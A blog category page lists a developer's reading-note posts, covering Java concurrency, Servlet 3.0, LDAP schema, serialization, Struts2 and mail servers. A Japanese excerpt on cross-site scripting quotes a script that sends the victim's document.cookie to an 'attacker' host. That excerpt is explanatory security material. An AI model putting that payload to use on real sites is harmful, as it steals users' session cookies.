读书笔记
文章平均质量分 61
iteye_4944
这个作者很懒,什么都没留下…
展开
-
1.1.A (Very) Brief History of Concurrency(关于并发的历史)
1.1. A (Very) Brief History of Concurrency(关于并发的历史)In the ancient past, computers didn't have operating systems; they executed a single program from beginning to end, and that program had direct acc...原创 2009-12-22 15:27:18 · 119 阅读 · 0 评论 -
連載二、Servlet 3.0の6つのEase of Development
Servlet 3.0では、EoDとして「Annotation based configuration」を新しく定義しました。アノテーションを利用することでServletの開発が簡単になります。Servlet 3.0で導入した「Annotation based configuration」を利用すると、「@WebServlet」というアノテーションを付加するだけでOKです。 @WebS...原创 2011-07-22 14:16:48 · 73 阅读 · 0 评论 -
LDAP SCHEMA DESIGN_Synopsis (大纲)
Synopsis(大纲)Itis possible to make one LDAP directory serve many applications in anorganisation. This has the advantage of reducing the effort required tomaintain the data, but it ...原创 2010-11-02 16:55:17 · 100 阅读 · 0 评论 -
LDAP SCHEMA DESIGN(二)
2 RequirementsWhen considering an LDAP deployment that is to serve more than one application, it is important to get the widest possible view of the host organisation and its future needs. This is b...2010-11-04 09:42:40 · 86 阅读 · 0 评论 -
LDAP SCHEMA DESIGN(三)
3.2 Do not modify the standard schema definitions(不要修改标准schema定义)The set of attributes and object classes described in the LDAP RFCs sometimes appear to be rather awkward. This is not surprising, as...2010-11-05 11:34:46 · 75 阅读 · 0 评论 -
一个纯java的验证码识别算法
在进行性能测试时,某些时候需要输入验证码。手工输入是不可能的,这就需要验证码的自动识别。附件中的验证码识别算法对纯数字的验证码,可以达到百分之四十的正确率,基本够用了。main方法入口: GUIController样本图片:trainningpic.zip (使用方法:图片命名的最后一位是图片的数字值)...原创 2012-04-05 08:45:25 · 924 阅读 · 1 评论 -
Java序列化之一: 什么是JAVA序列化
这几天受领导委托,做了一个java序列化的说明资料。本身没什么技术含量,这里做一下分享。1,什么是序列化 序列化并非是JAVA领域的专有名词,而是计算机世界一个很常见的概念。但是,像计算机世界中的很多概念一样,序列化并没有一个很明确的定义。粗略描述的话,序列化具有以下特征。 ① 序列化之前的对象通常是瞬时的,动态的,可变的;序列化之后的结果通常是持久的,静态的...2012-04-19 14:03:08 · 120 阅读 · 0 评论 -
Java序列化之二: 从代码开始
1,最简单,最典型的序列化代码。 附录1中给出的JAVA代码虽然简单,却包含了一个典型的序列化过程中的大部分要点。下面针对该序列化过程中出现的每一个元素进行一一说明。 ① 导入Serializable[code="java"]import java.io.Serializable;[/code] 这是一个不含有任何方法声明的接口类。实现了该接口仅仅是一个标志,标志...2012-04-19 14:20:58 · 78 阅读 · 0 评论 -
Java序列化之三: 常见实例分析
1,HTTPSession与Serializale 一个很容易被人无视的事实是:保存在HTTPSession中的对象,最好要实现Serializable接口。(当然,在大部分情况下即使不实现也不会程序也不会出错) 根据目前的调查结果,这样做的好处有两个: ① 当Servlet容器重新启动或者application reload的时候,为了保存最终...2012-04-20 10:20:54 · 109 阅读 · 0 评论 -
Java序列化之四: 进一步思考
1,当需要被序列化的类对象中的一部分成员变量是不可被序列化的,会发生什么情况呢? 例如下面的的代码[code="java"]public class Person implements Serializable { private static final long serialVersionUID = 2356129180978015792L; privat...2012-04-20 10:24:10 · 86 阅读 · 0 评论 -
漫谈HTTPS(挖坑待填)
漫谈HTTPS(挖坑待填)2012-04-23 09:13:59 · 90 阅读 · 0 评论 -
struts2中inceptor的执行顺序
struts2中的inceptor是可以指定执行顺序的。具体说来,就是跟在inceptor stack中的配置顺序一致。参加如下网页:http://www.roseindia.net/struts/struts/struts2.2.1/InterceptorOrder.html...原创 2012-08-15 17:27:43 · 150 阅读 · 0 评论 -
pgpool-I I的recovery
pgpool-I I のオンラインリカバリの概要2013-06-06 19:51:55 · 162 阅读 · 0 评论 -
使用commons-fileupload实现单个和多个文件上传
见如下:http://www.blogjava.net/sitinspring/archive/2008/04/12/192408.html原创 2013-06-24 16:19:19 · 221 阅读 · 0 评论 -
struts2 best practice-Use empty action components to forward to your results
Use empty action components to forward to your results, even if they’resimple JSPs that require no dynamic processing. This keeps the application’sarchitecture consistent, prewires your workflow i...2012-11-29 12:25:16 · 89 阅读 · 0 评论 -
struts2 best practice-Why we need a framework.
A web application framework is a piece of structural software that providesautomation of common tasks of the domain as well as a built-in architecturalsolution that can be easily inherited by appl...2012-12-03 16:28:33 · 110 阅读 · 0 评论 -
連載一、Servlet 3.0の6つの主な変更点
Tomcat 7では、Tomcat 6に対して実装するサーブレット/JSP仕様のバージョンアップTomcat独自のさまざまな機能の追加・改善を行っています。実装する仕様は、以下のバージョンにアップデートされました。 1、Servlet 2.5⇒Servlet 3.0 2、JSP 2.1⇒JSP 2.2 3、EL 2.1⇒EL 2.2Servle...原创 2011-07-22 14:00:26 · 83 阅读 · 0 评论 -
連載二、クロスサイトスクリプティング基本
XSSセキュリティホールによる起こり得る被害●cookieの盗難 これがXSSの被害としては一般に広く知られている。「document.location="http://attacker/cookie.cgi?cookie="+document.cookie;」というスクリプトを実行されると、攻撃者サイトのcookie.cgiにユーザーのcookieを含んだ形でアク...原创 2011-07-13 10:01:47 · 449 阅读 · 0 评论 -
qmailによるSMTPサーバの構築
1、qmailの仕組み a、sendmailが、メッセージを単一のファイルに結合して全ユーザーが共通のディレクトリを使用するmbox形式であるのに対し、 qmailは各ユーザーのホームディレクトリに1つのメッセージを1ファイルとして保存するMaildir形式である b、sendmailではメール配送にかかわる処理を1つのプロセスで実行しているのに対し、qm...2011-06-15 14:41:09 · 383 阅读 · 0 评论 -
1.2. Benefits of Threads(线程的好处)
1.2. Benefits of Threads(线程的好处)When used properly, threads can reduce development and maintenance costs and improve the performance of complex applications. Threads make it easier to model how human...原创 2009-12-22 15:29:01 · 190 阅读 · 0 评论 -
1.3. Risks of Threads(使用线程带来的风险)
1.3. Risks of Threads(使用线程带来的风险)Java's built-in support for threads is a double-edged sword. While it simplifies the development of concurrent applications by providing language and library support ...原创 2009-12-23 08:39:53 · 148 阅读 · 0 评论 -
1.4. Threads are Everywhere(线程无处不在)
1.4. Threads are Everywhere(线程无处不在)Even if your program never explicitly creates a thread, frameworks may create threads on your behalf, and code called from these threads must be thread-safe. This ...原创 2009-12-24 13:47:02 · 112 阅读 · 0 评论 -
Chapter 2. Thread Safety(线程安全)
Chapter 2. Thread Safety(线程安全)Perhaps surprisingly, concurrent programming isn't so much about threads or locks, any more than civil engineering is about rivets and I-beams. Of course, building brid...原创 2009-12-25 08:35:59 · 182 阅读 · 0 评论 -
2.1. What is Thread Safety?(什么是线程安全)
2.1. What is Thread Safety?(什么是线程安全)Defining thread safety is surprisingly tricky. The more formal attempts are so complicated as to offer little practical guidance or intuitive understanding, and t...原创 2009-12-25 18:47:19 · 259 阅读 · 0 评论 -
2.2. Atomicity(原子性)
2.2. Atomicity(原子性)What happens when we add one element of state to what was a stateless object? Suppose we want to add a "hit counter" that measures the number of requests processed. The obvious ap...原创 2009-12-25 18:47:47 · 193 阅读 · 0 评论 -
2.3. Locking(锁机制)
2.3. Locking(锁机制)We were able to add one state variable to our servlet while maintaining thread safety by using a thread-safe object to manage the entire state of the servlet. But if we want to add ...原创 2009-12-28 19:35:18 · 487 阅读 · 0 评论 -
2.4. Guarding State with Locks(使用锁维护状态)
2.4. Guarding State with Locks(使用锁维护状态)Because locks enable serialized [8] access to the code paths they guard, we can use them to construct protocols for guaranteeing exclusive access to shared sta...原创 2009-12-29 13:51:37 · 188 阅读 · 0 评论 -
2.5. Liveness and Performance(存活性和性能)
2.5. Liveness and Performance(存活性和性能)In UnsafeCachingFactorizer, we introduced some caching into our factoring servlet in the hope of improving performance. Caching required some shared state, which...原创 2009-12-29 15:17:02 · 115 阅读 · 0 评论 -
3.1. Visibility(可见性)
3.1. Visibility(可见性)Visibility is subtle because the things that can go wrong are so counterintuitive. In a single-threaded environment, if you write a value to a variable and later read that variab...原创 2009-12-30 10:23:49 · 319 阅读 · 0 评论 -
3.2. Publication and Escape(公开和逃逸)
3.2. Publication and Escape(公开和逃逸)Publishing an object means making it available to code outside of its current scope, such as by storing a reference to it where other code can find it, returning it...原创 2009-12-31 17:04:58 · 187 阅读 · 0 评论 -
3.3. Thread Confinement(线程局限)
3.3. Thread Confinement(线程局限)Accessing shared, mutable data requires using synchronization; one way to avoid this requirement is to not share. If data is only accessed from a single thread, no synch...原创 2010-01-07 13:44:34 · 207 阅读 · 0 评论 -
3.4. Immutability(不变性)
3.4. Immutability(不变性)The other end-run around the need to synchronize is to use immutable objects [EJ Item 13]. Nearly all the atomicity and visibility hazards we've described so far, such as seein...原创 2010-01-07 16:16:59 · 150 阅读 · 0 评论 -
3.5. Safe Publication(安全的公开)
3.5. Safe Publication(安全的公开)So far we have focused on ensuring that an object not be published, such as when it is supposed to be confined to a thread or within another object. Of course, sometim...原创 2010-01-13 10:27:28 · 206 阅读 · 0 评论 -
Chapter 4. Composing Objects(合成对象)
Chapter 4. Composing Objects(组合对象)So far, we've covered the low-level basics of thread safety and synchronization. But we don't want to have to analyze each memory access to ensure that our program ...原创 2010-01-13 11:02:09 · 133 阅读 · 0 评论 -
ウェブサーバの 暗号アルゴリズムの選び方
日语的一份关于ssl的加密算法的文档,有时间的话需要研究一下。2013-03-26 10:59:50 · 283 阅读 · 0 评论